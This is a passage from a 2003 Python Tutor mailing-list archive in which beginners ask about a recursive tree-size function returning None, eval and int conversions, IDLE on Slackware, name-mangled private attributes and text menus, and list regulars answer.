  File "tree.py", line 26, in size
    return self.size(tree.left) + 1 + self.size(tree.right)
TypeError: unsupported operand types for +: 'NoneType' and 'int'

Does anyone have a clue?! I checked the reference, but I'm afraid it's
still over my head!
-- 
"Thinking gives you wrinkles!"
Malibu Stacy, the Simpsons


From dyoo@hkn.eecs.berkeley.edu  Tue Jun  3 20:14:02 2003
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Tue Jun  3 19:14:02 2003
Subject: [Tutor] Unsupported operand types for +: 'NoneType' and 'int'
 - HUH?!
In-Reply-To: <20030603201525.GA5960@yahoo.com>
Message-ID: <Pine.LNX.4.44.0306031607200.15349-100000@hkn.eecs.berkeley.edu>


On Tue, 3 Jun 2003, Eladio Ventura wrote:

> I'm in the process of learning binary trees, and just as everything is
> going peachy, I try to make a function which calculates the total number
> of nodes and get the following error:
>
> TypeError: unsupported operand types for +: 'NoneType' and 'int'
>
> The culprit is the following function:
>
> def size(self, tree):
> 	if tree == None: return
        ^^^^^^^^^^^^^^^^^^^^^^^

> 	else:
> 		return self.size(tree.left) + 1 + self.size(tree.right)

The underlined statement looks slightly off.  size() must guarantee that
it'll return some kind of integer to work effectively.  What's the size of
the empty tree?


Good luck to you!



From pythontutor@venix.com  Tue Jun  3 20:22:02 2003
From: pythontutor@venix.com (Lloyd Kvam)
Date: Tue Jun  3 19:22:02 2003
Subject: [Tutor] /usr/bin/env problem
References: <3EDD1FC2.9060704@llnl.gov>
Message-ID: <3EDD2D51.6030704@venix.com>

If you move files between unix and windows the line marks could be mangled.

I suspect that your problem file has cr/lf  (\r\n) characters marking the
lines.  Change the lines to end with lf (\n) only and you should be OK.

Neil Hodge wrote:
> All:
> 
> I have two python scripts in the same directory, with the same 
> permissions, both with the standard line:
> 
> #!/usr/bin/env python
> 
> at the top.  One runs, one doesn't.  One bombs with the error:
> 
> /usr/bin/env: No such file or directory
> 
> In addition, running:
> 
> /usr/bin/env python
> 
> at the command line works fine.  Anyone else run into this?  Thanks.
> 
> Neil
> 
> 
> _______________________________________________
> Tutor maillist  -  Tutor@python.org
> http://mail.python.org/mailman/listinfo/tutor
> 


-- 
Lloyd Kvam
Venix Corp.
1 Court Street, Suite 378
Lebanon, NH 03766-1358

voice:	603-443-6155
fax:	801-459-9582



From dyoo@hkn.eecs.berkeley.edu  Tue Jun  3 20:27:01 2003
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Tue Jun  3 19:27:01 2003
Subject: [Tutor] Variable Modification in a class  [offtopic: thanks]
In-Reply-To: <003d01c32a20$8fb63930$6401a8c0@xp>
Message-ID: <Pine.LNX.4.44.0306031602190.15349-100000@hkn.eecs.berkeley.edu>


On Tue, 3 Jun 2003, Alan Gauld wrote:

> Danny Yoo wrote:
> > AB* b = malloc(sizeof(AB));
> > AB* c = malloc(sizeof(AB));
>
> Boy my C is rusty, I even got malloc wrong after I "fixed" it. I forgot
> the sizeof() mantra... And I didn't need the cast coz they are type
> compatible.


Hi Alan,

Sometimes, though, I worry about if I've been permanently damaged by C.
I did miss out on Fortran and COBOL.  For which I'm greatful.  *grin*



> Glad you are around Danny, to show the right way to do it! :-)

And I'm glad everyone else is around too, and I'm serious when I say that.
I think I'd be less happy (and a little more lonely) if there weren't a
community here to talk to.  So I just wanted to give a """thank you""" to
the folks here.



Talk to you later!



From Michael Montagne <montagne@boora.com>  Tue Jun  3 20:52:02 2003
From: Michael Montagne <montagne@boora.com> (Michael Montagne)
Date: Tue Jun  3 19:52:02 2003
Subject: [Tutor] imaplib copy
In-Reply-To: <20030602232816.GA6327@glacier.arctrix.com>
References: <20030602220742.GA2772@boora.com> <20030602232816.GA6327@glacier.arctrix.com>
Message-ID: <20030603235159.GA24924@boora.com>

You are so right.  I realized that shortly after my post and now my
little routine works like a champ.  Thanks.

>On about 02/06/03, Neil Schemenauer was heard to proclaim:

> Michael Montagne wrote:
> > for num in data[0].split():
> >     typ, data = M.fetch(num, '(RFC822)')
> > #    M.append('/home/montagne/Mail/spam',None,None,data[0][1])
> >     M.copy(num,'/home/montagne/Mail/spam')
> >     print 'Message %s\n' % (data[0][1])
> > M.logout()
> 
> Based on a quick look at the imaplib code, I would guess that copy()
> tries to copy the message to a server side mail box.  You probably need
> to open() the mbox file and use read() and write() to copy the message.
> 
>   Neil
> 
> _______________________________________________
> Tutor maillist  -  Tutor@python.org
> http://mail.python.org/mailman/listinfo/tutor

-- 
  Michael Montagne  http://www.themontagnes.com  503.226.1575 
--    


From py-tutor@fancy.org  Tue Jun  3 21:08:02 2003
From: py-tutor@fancy.org (Tom Plunket)
Date: Tue Jun  3 20:08:02 2003
Subject: [Tutor] Query re: IDLE & Slackware 9.0
In-Reply-To: <200306032022.45088.tireseas@onetel.com>
References: <200306032022.45088.tireseas@onetel.com>
Message-ID: <3sdqdvc0b2ug6a19os2eo4g3hj8bt70h16@4ax.com>

Tireseas wrote:

> I am wanting to use Idle on Slackware 9.0 but cannot seem to call it up using 
> the command line, and there aren't any menu items for it. Nor can I seem to 
> find it buried within the Python directory. I was under the impression that 
> Iddle came as standard issue with Python releases. Has anyone else any 
> experience with this and if so, how did they work it through??

IDLE is a python script that's installed in Windows under
$PYTHON/Tools/idle/.  You could do "locate idle.py*" to see if it
turns up anywhere on your system.  When you locate it, you can
just launch it from there.  (Or maybe it's easily accessible via
typing "idle.py" on the command line?)

good luck-

-tom!


From tbstep@tampabay.rr.com  Tue Jun  3 21:38:01 2003
From: tbstep@tampabay.rr.com (Todd Stephens)
Date: Tue Jun  3 20:38:01 2003
Subject: [Tutor] Query re: IDLE & Slackware 9.0
In-Reply-To: <200306032022.45088.tireseas@onetel.com>
References: <200306032022.45088.tireseas@onetel.com>
Message-ID: <200306032033.42781.tbstep@tampabay.rr.com>

On Tuesday 03 June 2003 03:22 pm, Tireseas wrote:

> Hello Pythonites
>
> I am wanting to use Idle on Slackware 9.0 but cannot seem to call it up
> using the command line, and there aren't any menu items for it. Nor can I
> seem to find it buried within the Python directory. I was under the
> impression that Iddle came as standard issue with Python releases. Has
> anyone else any experience with this and if so, how did they work it
> through??
>

Looks to me like the default python installation in Slack 9 leaves it out.  A 
quick 'locate idle' turns up only the following:

/usr/doc/python-2.2.2/html/lib/idle.html

I can't find anything in /usr/lib/python2.2/ either.

-- 
Todd Stephens



From i812@softhome.net  Tue Jun  3 22:13:02 2003
From: i812@softhome.net (Rob McGee)
Date: Tue Jun  3 21:13:02 2003
Subject: [Tutor] Query re: IDLE & Slackware 9.0
In-Reply-To: <200306032033.42781.tbstep@tampabay.rr.com>
References: <200306032022.45088.tireseas@onetel.com> <200306032033.42781.tbstep@tampabay.rr.com>
Message-ID: <20030604011238.GD26383@obrien.1984.lan>

On Tue, Jun 03, 2003 at 08:33:42PM -0400, Todd Stephens wrote:
> > I am wanting to use Idle on Slackware 9.0 but cannot seem to call it up
> > using the command line, and there aren't any menu items for it. Nor can I
> > seem to find it buried within the Python directory. I was under the
> 
> Looks to me like the default python installation in Slack 9 leaves it out.  A 
> quick 'locate idle' turns up only the following:
> 
> /usr/doc/python-2.2.2/html/lib/idle.html
> 
> I can't find anything in /usr/lib/python2.2/ either.

Correct. I found this issue in Slackware 8.0 too, but I forgot to ask
Pat (Slackware maintainer) about it. Now that you've reminded me, I'm
CC'ing this to him.

Pat, the "Tools" directory in the top-level of the Python source tarball
contains some goodies which would be nice to have ... they're not copied
over in the "make install".

Thanks,
    Rob - /dev/rob0


From magnus@thinkware.se  Tue Jun  3 23:32:01 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Tue Jun  3 22:32:01 2003
Subject: [Tutor] Curiosity question(s) here ... how many of you
 folks are using python in your day-to-day work environment and ...
In-Reply-To: <004501c329d2$a94ef1a0$c47dfea9@client>
Message-ID: <5.2.1.1.0.20030604001700.01f42c40@www.thinkware.se>

At 09:18 2003-06-03 -0400, Dirigo wrote:
>for what sort of applications?

Apart from some SQL here and there, I use Python almost
exclusively if I'm given a choice, which I usually am these
days. Below is a sample of things I've done:

An application for creation of system specifications, see
www.systematik.se using wxPython and ZODB.

Web applications, for instance http://www.thinkware.se/whisky/whisky.cgi

Business administration for internal use:
   - accounting
   - transfer to commercial accounting package
   - working time log
   - PDF invoices using ReportLab

Data entry with immediate graphic visualization for epidemiological data.

Generation of DB schemas in SQL. (These day I'd probably use SQLObject.)

Various data conversion, filtering and cleaning.

A program that searched through a database to identify and correct
corrupt data in a big database system for a large state agency.

An application to find problematic link dependencies in a large C++
development project for Siemens. Used AT&T's Graphviz.

ClearCase triggers.

I also use Python as my one and only calculator (don't forget
"from __future__ import division") and for all sorts of short scripts
and interactive processing.

See also: http://www.thinkware.se/cgi-bin/thinki.cgi/MagnusLittleHacks

I'm sure there are lots of things I forgot.

>Also, when should I capitalize "python"?

Always I guess. It's a name, right?


--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language 



From tbstep@tampabay.rr.com  Tue Jun  3 23:41:02 2003
From: tbstep@tampabay.rr.com (Todd Stephens)
Date: Tue Jun  3 22:41:02 2003
Subject: [Tutor] Query re: IDLE & Slackware 9.0
In-Reply-To: <20030604011238.GD26383@obrien.1984.lan>
References: <200306032022.45088.tireseas@onetel.com> <200306032033.42781.tbstep@tampabay.rr.com> <20030604011238.GD26383@obrien.1984.lan>
Message-ID: <200306032234.50777.tbstep@tampabay.rr.com>

On Tuesday 03 June 2003 09:12 pm, Rob McGee wrote:

>
> Pat, the "Tools" directory in the top-level of the Python source tarball
> contains some goodies which would be nice to have ... they're not copied
> over in the "make install".
>

I will say that I don't really miss Idle.  I have found that the KDE editor 
Kate works great as I can write the code, save it, and then execute it from 
the integrated console window to test it and I don't even have to change open 
windows.

Sorry for the OT posts fellows.  I'll stop now as this list is very high 
traffic as it is.

-- 
Todd Stephens



From python-tutor@ev1.net  Wed Jun  4 01:13:02 2003
From: python-tutor@ev1.net (Dustin Phillips)
Date: Wed Jun  4 00:13:02 2003
Subject: [Tutor] newbie programmer
References: <200306031701.AA9437412@mail.ev1.net> <005201c32a21$9b079a80$6401a8c0@xp>
Message-ID: <002b01c32a50$be274220$7e00a8c0@ktdlaptop>

Thanks for the insight and suggestions, I will check out the useless python
sight right away.
----- Original Message -----
From: "Alan Gauld" <alan.gauld@blueyonder.co.uk>
To: <python-tutor@mail.ev1.net>; <tutor@python.org>
Sent: Tuesday, June 03, 2003 5:43 PM
Subject: Re: [Tutor] newbie programmer


> > just wondering what sort of real world things I can do with
> > python?
>
> Games, Graphics, Scientific numerical simulations, etc.
> THere used to even be a web browser written in Python,
> there is also a graphics program(like Visio).
>
> Try searching sourceforge to see what open source projects
> are underway using Python.
>
> With ,more experience you can even join one of the project
> teams...
>
> Oh yes, And the IDLE development tool that comes with
> Python is written in Python...
>
> > anyone have any advice or suggestions?
>
> For some fun small projects check out the "Useless Python"
> website, which is far from useless...
>
> Alan G
> Author of the Learn to Program web tutor
> http://www.freenetpages.co.uk/hp/alan.gauld
>
>



From python-tutor@ev1.net  Wed Jun  4 02:39:04 2003
From: python-tutor@ev1.net (Dustin Phillips)
Date: Wed Jun  4 01:39:04 2003
Subject: [Tutor] newbie programmer
References: <200306031701.AA9437412@mail.ev1.net> <005201c32a21$9b079a80$6401a8c0@xp> <002b01c32a50$be274220$7e00a8c0@ktdlaptop>
Message-ID: <004301c32a5c$c3e61720$7e00a8c0@ktdlaptop>

I checked out the useless python website and it is great, it has some really
interesting challenges that I can practice with.  I am attempting to take on
one of these challenges and a question immediately came up.  I am trying to
create a dos based menu driven application, but I was wondering what is the
most efficient way to implement a menu system?  I started out using several
print statements, but I plan on linking the main menu to submenus and so on
which will get very cumbersome.  How can I make the menus more modular?
Should I save the menu entries into a dictionary?
----- Original Message -----
From: "Dustin Phillips" <python-tutor@ev1.net>
To: "Alan Gauld" <alan.gauld@blueyonder.co.uk>; <python-tutor@mail.ev1.net>;
<tutor@python.org>
Sent: Tuesday, June 03, 2003 11:21 PM
Subject: Re: [Tutor] newbie programmer


> Thanks for the insight and suggestions, I will check out the useless
python
> sight right away.
> ----- Original Message -----
> From: "Alan Gauld" <alan.gauld@blueyonder.co.uk>
> To: <python-tutor@mail.ev1.net>; <tutor@python.org>
> Sent: Tuesday, June 03, 2003 5:43 PM
> Subject: Re: [Tutor] newbie programmer
>
>
> > > just wondering what sort of real world things I can do with
> > > python?
> >
> > Games, Graphics, Scientific numerical simulations, etc.
> > THere used to even be a web browser written in Python,
> > there is also a graphics program(like Visio).
> >
> > Try searching sourceforge to see what open source projects
> > are underway using Python.
> >
> > With ,more experience you can even join one of the project
> > teams...
> >
> > Oh yes, And the IDLE development tool that comes with
> > Python is written in Python...
> >
> > > anyone have any advice or suggestions?
> >
> > For some fun small projects check out the "Useless Python"
> > website, which is far from useless...
> >
> > Alan G
> > Author of the Learn to Program web tutor
> > http://www.freenetpages.co.uk/hp/alan.gauld
> >
> >
>
>



From alan.gauld@blueyonder.co.uk  Wed Jun  4 03:57:02 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Wed Jun  4 02:57:02 2003
Subject: [Tutor] Unsupported operand types for +: 'NoneType' and 'int' - HUH?!
References: <20030603201525.GA5960@yahoo.com>
Message-ID: <008501c32a66$66c20d10$6401a8c0@xp>

> TypeError: unsupported operand types for +: 'NoneType' and 'int'
>
> The culprit is the following function:
>
> def size(self, tree):
> if tree == None: return  <--- You return None here, use 0 instead...

Alan G



From willblake@wanadoo.fr  Wed Jun  4 05:19:01 2003
From: willblake@wanadoo.fr (Guillaume)
Date: Wed Jun  4 04:19:01 2003
Subject: [Tutor] RE: I don't understand why it doesn't work :(
In-Reply-To: <004d01c32a1a$fb392b50$6401a8c0@xp>
Message-ID: <NBEHJBEKFMHNFJKOHIOAMEODCIAA.willblake@wanadoo.fr>

Hi
When I type
result = eval("3*4") +  5
A little ^ points out an invalid syntax under the
"l" of evual :(
I don't know what I've done wrong.
Thanks

-----Message d'origine-----
De : Alan Gauld [mailto:alan.gauld@blueyonder.co.uk]
Envoyé : mardi 3 juin 2003 23:56
À : willblake@wanadoo.fr; Charlie Clark; tutor@python.org
Objet : Re: [Tutor] RE: I don't understand why it doesn't work :(


> I expected 17 because I tought that
> print int (s) convert my string in an integer
> so that the addition between 3*4 and 5 was possible.

But "3*4" is not a number it is an arithmetic expression.
YOu could evaluate the string and then add 5:

result = eval("3*4") + 5

But int() expects the string representation of
a number and only a number.

If you know the format of the string you could also
do:

result = int(s[0]) * int(s[-1) + 5

which converts the first and last characters of s to ints.

Or you could split the expression using the arithmetic
operators (+-*/) as the dividing characters and try to
interpret the string that way (but then that's what
eval() does for you!)

HTH,

Alan G
Author of the Learn to Program web tutor
http://www.freenetpages.co.uk/hp/alan.gauld



From rmangaliag@slu.edu.ph  Wed Jun  4 05:54:01 2003
From: rmangaliag@slu.edu.ph (ali mangaliag)
Date: Wed Jun  4 04:54:01 2003
Subject: [Tutor] inheriting private variables...
Message-ID: <00dc01c32a78$7dfa3ea0$da19a8c0@slu.edu.ph>

This is a multi-part message in MIME format.

------=_NextPart_000_00D9_01C32ABB.8BB8C960
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

if i do have a class defined like this:

class a:
    def __init__(self):
        self.__prv_var =3D 1     ### a.k.a =3D=3D> _a__prv_var
    def get_prv_var(self): =20
        return self.__prv_var

and i inherited the class above like this:

class b(a):
    def __init__(self):
        pass

and if instantiate class b below...

x =3D b()

and call the inherited method get_prv_var... like so...

print x.get_prv_var()

this will result to an error message... saying that _a__prv_var is not =
defined...
though this will work fine if the attribute was defined as =
self.prv_var.....

my question is, with object-oriented data hiding and encapsulation in =
mind... how can i define a private
variable and subsequently let class inherit it... and refer to it just =
like any attribute???



------=_NextPart_000_00D9_01C32ABB.8BB8C960
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>if i do have a class defined like=20
this:</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>class a:</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp; def =
__init__(self):</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;=20
self.__prv_var =3D 1 &nbsp;&nbsp;&nbsp; ### a.k.a =3D=3D&gt; =
_a__prv_var</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp; def =
get_prv_var(self):&nbsp;=20
</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; =
return=20
self.__prv_var</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>and i inherited the class above like=20
this:</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>class b(a):</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp; def =
__init__(self):</FONT></DIV>
<DIV><FONT face=3DArial =
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
pass</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>and if instantiate class b =
below...</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>x =3D b()</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>and call the inherited method =
get_prv_var... like=20
so...</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>print&nbsp;x.get_prv_var()</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>this will result to an error message... =
saying that=20
_a__prv_var is not defined...</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>though this will work fine if the =
attribute was=20
defined as self.prv_var.....</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>my question is, with object-oriented =
data hiding=20
and encapsulation in mind... how can i define a private</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>variable and subsequently let class =
inherit it...=20
and refer to it just like any attribute???</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;</DIV></BODY></HTML>

------=_NextPart_000_00D9_01C32ABB.8BB8C960--



From rmangaliag@slu.edu.ph  Wed Jun  4 06:04:24 2003
From: rmangaliag@slu.edu.ph (ali mangaliag)
Date: Wed Jun  4 05:04:24 2003
Subject: [Tutor] inheriting private variables...
References: <00dc01c32a78$7dfa3ea0$da19a8c0@slu.edu.ph>
Message-ID: <00f601c32a79$ed8f3260$da19a8c0@slu.edu.ph>

This is a multi-part message in MIME format.

------=_NextPart_000_00F3_01C32ABC.FB90E0A0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

i made a mistake... the correction follows.. please ignore the previous =
message...

i have to recheck my code... i apologize.... thanks...

------=_NextPart_000_00F3_01C32ABC.FB90E0A0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>i made a mistake... the correction =
follows.. please=20
ignore the previous message...</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>
<DIV>i have to recheck my code... i apologize....=20
thanks...</DIV></FONT></DIV></BODY></HTML>

------=_NextPart_000_00F3_01C32ABC.FB90E0A0--



From alan.gauld@blueyonder.co.uk  Wed Jun  4 06:04:38 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Wed Jun  4 05:04:38 2003
Subject: [Tutor] RE: I don't understand why it doesn't work :(
References: <NBEHJBEKFMHNFJKOHIOAMEODCIAA.willblake@wanadoo.fr>
Message-ID: <009a01c32a78$3bca4660$6401a8c0@xp>

> When I type
> result = eval("3*4") +  5
> A little ^ points out an invalid syntax under the
> "l" of evual :(

Well if you typed 'evual' you will get an error but 
assuming you did type 'eval' I don't know what's wrong. 
It works for me:

>>> res = eval("3*4") + 5
>>> res
17
>>>

Alan G


From magnus@thinkware.se  Wed Jun  4 07:59:01 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Wed Jun  4 06:59:01 2003
Subject: [Tutor] inheriting private variables...
In-Reply-To: <00dc01c32a78$7dfa3ea0$da19a8c0@slu.edu.ph>
Message-ID: <5.2.1.1.0.20030604125723.01fa1ea0@www.thinkware.se>

At 17:05 2003-06-04 +0800, ali mangaliag wrote:
>my question is, with object-oriented data hiding and encapsulation in 
>mind... how can i define a private
>variable and subsequently let class inherit it... and refer to it just 
>like any attribute???

At least in C++, the concept of "private variable" means
that it's only available in the class where it's defined,
not even in derived classes.

C++ also has "protected variables" that are available in
derived classes and in so-called "friend classes", but not
publically.

Python has nothing that corresponds to protected.

Some programmers use the convention that a single leading
underscore in an attribute means protected, but it's not
enforced by Python in any way.


--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language 



From magnus@thinkware.se  Wed Jun  4 08:12:02 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Wed Jun  4 07:12:02 2003
Subject: [Tutor] newbie programmer
In-Reply-To: <200306031701.AA9437412@mail.ev1.net>
Message-ID: <5.2.1.1.0.20030604130243.01eeced0@www.thinkware.se>

At 17:01 2003-06-03 -0500, python-tutor wrote:
>I have downloaded python and I really like it so far, and I have
>gotten about half way through the "how to think like a computer
>scientist" book understanding a good deal of it.

Hi Dustin, and welcome to Python. I hope you enjoy it.

>I guess I am
>just wondering what sort of real world things I can do with
>python?

Almost anything but operating systems and embedded programs
in very small devices I guess. :)

Look at the recent thread "Curiosity question(s) here ..."
for something about what people do.

For more ambitious project using Python, look here:
http://pythonology.org/success
http://www.thinkware.se/cgi-bin/thinki.cgi/PythonUsers

>I would love to work on a
>newbie project with some folks that would be wonderful.

I would also love to work with some wonderful folks! ;)

/Magnus

P.S. That was an entirely deliberate misunderstanding.


--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language 



From jim_938@hotmail.com  Wed Jun  4 08:22:01 2003
From: jim_938@hotmail.com (Jimmy verma)
Date: Wed Jun  4 07:22:01 2003
Subject: [Tutor] subscript problem
Message-ID: <Sea1-F29sqMaSORH9HW00049d71@hotmail.com>

class AB:
>     def __init__(self):
>         self.n_p = None
>         self.po = Vec()      # in c struct this is Vec* po
>         self.con = []        # in c struct this is short* con
>
>
>class Vec:...


>def XYZ(out):
>     n = 0
>     out.con.append(5)
>     last = out.con[n]


So last now equals 5 after the first call.


>     v_start = out.po[last]




>Can you explain in words what you are trying to do with
>Vec, AB etc?

I am having some curves,  whose points i am trying to store with Vec and AB.
With AB i have no of points (n_p), coordinates (x,y) with Vec and curves are 
taken with (con).  Like con[0] is the first curve and con[0] + 1 is the 
second curve and so on...

Like a particular curve has some points and those point's coordinates are 
handled with 'po'.



>Maybe we can find a more Pythonic way of doing it?

>Alan G.

_________________________________________________________________
HCL Beanstalk PCs. You could win one. 
http://server1.msn.co.in/sp03/hclbeanstalktour/index.asp Interested?



From mwagman@charter.net  Wed Jun  4 09:20:01 2003
From: mwagman@charter.net (Mike Wagman)
Date: Wed Jun  4 08:20:01 2003
Subject: [Tutor] newbie programmer
In-Reply-To: <004301c32a5c$c3e61720$7e00a8c0@ktdlaptop>
References: <200306031701.AA9437412@mail.ev1.net>
 <005201c32a21$9b079a80$6401a8c0@xp>
 <002b01c32a50$be274220$7e00a8c0@ktdlaptop>
 <004301c32a5c$c3e61720$7e00a8c0@ktdlaptop>
Message-ID: <1054729379.2498.4.camel@24-159-242-7.jvl.wi.charter.com>

Off the top of my head as one relative newbie to another I would reprint
the entire menu everytime an option was chosen, and see if there were a
way to clear the screen. Don't know if it will work - do know
interactive python is a great way to "play with code"

On Wed, 2003-06-04 at 00:47, Dustin Phillips wrote:
> I checked out the useless python website and it is great, it has some really
> interesting challenges that I can practice with.  I am attempting to take on
> one of these challenges and a question immediately came up.  I am trying to
> create a dos based menu driven application, but I was wondering what is the
> most efficient way to implement a menu system?  I started out using several
> print statements, but I plan on linking the main menu to submenus and so on
> which will get very cumbersome.  How can I make the menus more modular?
> Should I save the menu entries into a dictionary?
> ----- Original Message -----
> From: "Dustin Phillips" <python-tutor@ev1.net>
> To: "Alan Gauld" <alan.gauld@blueyonder.co.uk>; <python-tutor@mail.ev1.net>;
> <tutor@python.org>
> Sent: Tuesday, June 03, 2003 11:21 PM
> Subject: Re: [Tutor] newbie programmer
> 
> 
> > Thanks for the insight and suggestions, I will check out the useless
> python
> > sight right away.
> > ----- Original Message -----
> > From: "Alan Gauld" <alan.gauld@blueyonder.co.uk>
> > To: <python-tutor@mail.ev1.net>; <tutor@python.org>
> > Sent: Tuesday, June 03, 2003 5:43 PM
> > Subject: Re: [Tutor] newbie programmer
> >
> >
> > > > just wondering what sort of real world things I can do with
> > > > python?
> > >
> > > Games, Graphics, Scientific numerical simulations, etc.
> > > THere used to even be a web browser written in Python,
> > > there is also a graphics program(like Visio).
> > >
> > > Try searching sourceforge to see what open source projects
> > > are underway using Python.
> > >
> > > With ,more experience you can even join one of the project
> > > teams...
> > >
> > > Oh yes, And the IDLE development tool that comes with
> > > Python is written in Python...
> > >
> > > > anyone have any advice or suggestions?
> > >
> > > For some fun small projects check out the "Useless Python"
> > > website, which is far from useless...
> > >
> > > Alan G
> > > Author of the Learn to Program web tutor
> > > http://www.freenetpages.co.uk/hp/alan.gauld
> > >
> > >
> >
> >
> 
> 
> _______________________________________________
> Tutor maillist  -  Tutor@python.org
> http://mail.python.org/mailman/listinfo/tutor
-- 
Mike Wagman <mwagman@charter.net>



From alan.gauld@blueyonder.co.uk  Wed Jun  4 10:19:01 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Wed Jun  4 09:19:01 2003
Subject: [Tutor] Curiosity question(s) here ... how many of you  folks are using python in your day-to-day work environment and ...
References: <5.2.1.1.0.20030604001700.01f42c40@www.thinkware.se>
Message-ID: <00b501c32a9b$e2860fc0$6401a8c0@xp>

> >Also, when should I capitalize "python"?
> 
> Always I guess. It's a name, right?

Except when you are referring to the actual python program.

ie you type python not Python to execute a script...

Alan g


From alan.gauld@blueyonder.co.uk  Wed Jun  4 10:26:37 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Wed Jun  4 09:26:37 2003
Subject: [Tutor] newbie programmer
References: <200306031701.AA9437412@mail.ev1.net> <005201c32a21$9b079a80$6401a8c0@xp> <002b01c32a50$be274220$7e00a8c0@ktdlaptop> <004301c32a5c$c3e61720$7e00a8c0@ktdlaptop>
Message-ID: <00c301c32a9c$6d3572f0$6401a8c0@xp>

There is a module in python to help with this
- try the cmd module?

Alan G


----- Original Message -----
From: "Dustin Phillips" <python-tutor@ev1.net>
To: <tutor@python.org>
Sent: Wednesday, June 04, 2003 6:47 AM
Subject: Re: [Tutor] newbie programmer


> I checked out the useless python website and it is great, it has
some really
> interesting challenges that I can practice with.  I am attempting to
take on
> one of these challenges and a question immediately came up.  I am
trying to
> create a dos based menu driven application, but I was wondering what
is the
> most efficient way to implement a menu system?  I started out using
several
> print statements, but I plan on linking the main menu to submenus
and so on
> which will get very cumbersome.  How can I make the menus more
modular?
> Should I save the menu entries into a dictionary?
> ----- Original Message -----
> From: "Dustin Phillips" <python-tutor@ev1.net>
> To: "Alan Gauld" <alan.gauld@blueyonder.co.uk>;
<python-tutor@mail.ev1.net>;
> <tutor@python.org>
> Sent: Tuesday, June 03, 2003 11:21 PM
> Subject: Re: [Tutor] newbie programmer
>
>
> > Thanks for the insight and suggestions, I will check out the
useless
> python
> > sight right away.
> > ----- Original Message -----
> > From: "Alan Gauld" <alan.gauld@blueyonder.co.uk>
> > To: <python-tutor@mail.ev1.net>; <tutor@python.org>
> > Sent: Tuesday, June 03, 2003 5:43 PM
> > Subject: Re: [Tutor] newbie programmer
> >
> >
> > > > just wondering what sort of real world things I can do with
> > > > python?
> > >
> > > Games, Graphics, Scientific numerical simulations, etc.
> > > THere used to even be a web browser written in Python,
> > > there is also a graphics program(like Visio).
> > >
> > > Try searching sourceforge to see what open source projects
> > > are underway using Python.
> > >
> > > With ,more experience you can even join one of the project
> > > teams...
> > >
> > > Oh yes, And the IDLE development tool that comes with
> > > Python is written in Python...
> > >
> > > > anyone have any advice or suggestions?
> > >
> > > For some fun small projects check out the "Useless Python"
> > > website, which is far from useless...
> > >
> > > Alan G
> > > Author of the Learn to Program web tutor
> > > http://www.freenetpages.co.uk/hp/alan.gauld
> > >
> > >
> >
> >
>
>
>



From alan.gauld@blueyonder.co.uk  Wed Jun  4 10:46:02 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
